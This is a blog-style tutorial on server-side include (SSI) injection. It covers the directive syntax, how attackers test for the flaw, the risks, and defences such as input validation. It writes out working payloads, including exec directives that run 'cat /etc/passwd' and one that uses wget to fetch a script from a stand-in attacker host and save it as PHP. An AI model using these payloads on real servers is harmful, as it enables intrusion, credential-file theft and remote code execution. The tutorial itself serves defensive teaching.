SSI (Server-side Include) injection is a server-side exploit that enables an attacker to inject code into a web application/server and execute it upon the next page load, locally, by the webserver. As is so often the case with injection attacks, without proper validation of user input, the server will execute the malicious code when the time comes, and the attack will be successful.
This post looks at what SSI injection attacks are, how they work, and what you can do to avoid them.
What are Server-side includes (SSIs)?
SSIs are directives found within a web application’s HTML code and are used to provide an HTML page with dynamic content. Take, for example, a web application that contains multiple pages, with each one needing a different header or footer. Rather than code for each of these manually, one can include SSIs in the HTML to dynamically inject the required content into each page.
SSIs are similar to Common Gateway Interfaces (CGIs) in that they allow for standardized data to be exchanged between external applications and servers. However, SSIs are used to execute certain actions before the current page is loaded or while it’s being viewed. The web server scans the HTML for SSI directives and runs them in sequence before displaying the page to the user.
SSI has a simple syntax:
<! --#directive parameter=value parameter=value -->. Directives are typically placed inside HTML comments so that unless SSI is enabled on the server, users do not see the SSI directives on the page without looking at its source.
Examples of SSI injections
Below are some simple examples of SSIs. SSIs all use “#” directives.
Display the appropriate header on a specific page
<! –-#include virtual=“/header.html” —>
Display the date on a specific page
<! --#echo var=“DATE_LOCAL” —>
SSI directives can execute shell commands and access, alter, add, or delete files on the server. As you may have guessed, that’s where the fun begins…
What is SSI injection?
SSI Injection exploits a web application’s failure to sanitize user-supplied input before inserting the data into a server-side HTML file (think web form or login page). A vulnerable web application will execute the user-supplied input and display the result onto the page in question the next time it loads. With malicious input, this could result in the web server executing ssh commands on behalf of the attacker, which can lead to the server displaying extremely sensitive files, like /etc/passwd, among many other undesirable outcomes.
Examples of the above would be:
<! –-#exec cmd=“whoami” —>
<! –-#exec cmd=“cat /etc/passwd” —>
How does SSI injection work?
The first step for the attacker(s) will be to determine if a web application is vulnerable by checking if the characters/operators used in SSI are properly validated. These are:
< ! # = / . “ → and [a-zA-Z0–9]. The next step will be to check if the server hosts any pages with the .stm, .shtm, or .shtml. While it is entirely possible (and recommended, in fact) to support SSI without resorting to these pages, odds are the server supports SSI if they’re present.
Once the attacker has determined that the web application is vulnerable, they can move on to carrying out the attack – which is one of the more straightforward attacks I’ve documented.
The attacker could start by injecting innocuous SSI commands at first to make sure everything is working correctly. They could send the following command:
<! –-#echo var=“DATE_LOCAL” —>
If the server responds with the local time and date, the attacker now knows that the server is exploitable and can start sending malicious SSI commands to the server. Examples of such commands are:
List files and directories in Linux
<! –-#exec cmd=“ls” —>
Access root directories in Linux
<! –-#exec cmd=“cd /root/dir/” —>
Download and execute a malicious script
<! –-#exec cmd=“wget http://attackersite.com/evilscript.txt | rename evilscript.txt funhappyscript.php” —>
List files in directories in Windows
<! –-#exec cmd=“dir” —>
Display the current document’s filename
<! –-#echo var=“DOCUMENT_NAME” —>
Display the current document’s path and filename
<! –-#echo var=“DOCUMENT_URI” —>
Change the date and time output format
<! –-#config timefmt=“A %B %d %Y %r” —>
Display the size of a file
<! –-#fsize file=“ssi.shtml” —>
Bear in mind that none of the above commands are malicious in themselves. They’re malicious when input by bad actors. Your system admin could use any one of these to the organization’s benefit.
Risks of SSI injection
SSI injection being such a straightforward attack that is relatively easy to pull off (if the server is vulnerable), can have disastrous consequences. Depending on what is stored on your web server, a successful SSI injection attack could lead to anything from unauthorized access to resources to file uploads/downloads/alterations/corruption. SSI injection attacks can also lead to denial of service attacks and even complete server takeover if the attacker is able to access admin credentials.
Still, while SSI is much less prevalent today than in the 1990s, you’ll nonetheless be able to find some sites that use SSI. So it’s good to have a basic understanding of SSI (and SSI injection attacks) if only to remember to avoid using it.
How to defend against SSI injection attacks?
Don’t use SSI
Don’t mix user input and SSI pages
If you must use SSI, you should avoid incorporating user-controllable data into pages processed for SSI directives. That will at least lower the odds of a successful SSI attack.
Avoid using .stm, .shtm, and .shtml pages
It is possible to configure SSI for .htm, .html pages. Although it’s the “standard,” we can incorporate SSI into our site without using pages with .stm, .shtm, and .shtml extensions. These pages make it easier for an attacker to determine that the server is vulnerable to SSI injection.
Validate user input
So you’ve decided that you still need SSI but won’t be using .stm, .shtm, or .shtml pages. Good. But you’re not done yet. You still need to deal with the fact that you’re allowing user input onto your site. The golden rule regarding user input is… don’t trust it; validate it. It doesn’t matter which type of user it is (authenticated, internal, or public); you should always consider that input as untrusted. You want to validate all user input against a list of allowed strings or characters. And remember to always validate user input server-side even if the input was previously validated on the client-side. If, for example, your site provides a form for users to log in, that field should only accept the characters present in a username and nothing else.
So that’s SSI injection in a nutshell. It’s a pretty simple attack, but it can have enormous consequences. Thankfully, it isn’t as common of an attack as it once was, because we now have alternative ways of building the functionality provided by SSIs using other means.
But if you need to use SSIs, hopefully, the guidance above will help you secure your web site/application and avoid SSI injection attacks.
As always, stay safe (and sanitize your users’ input)!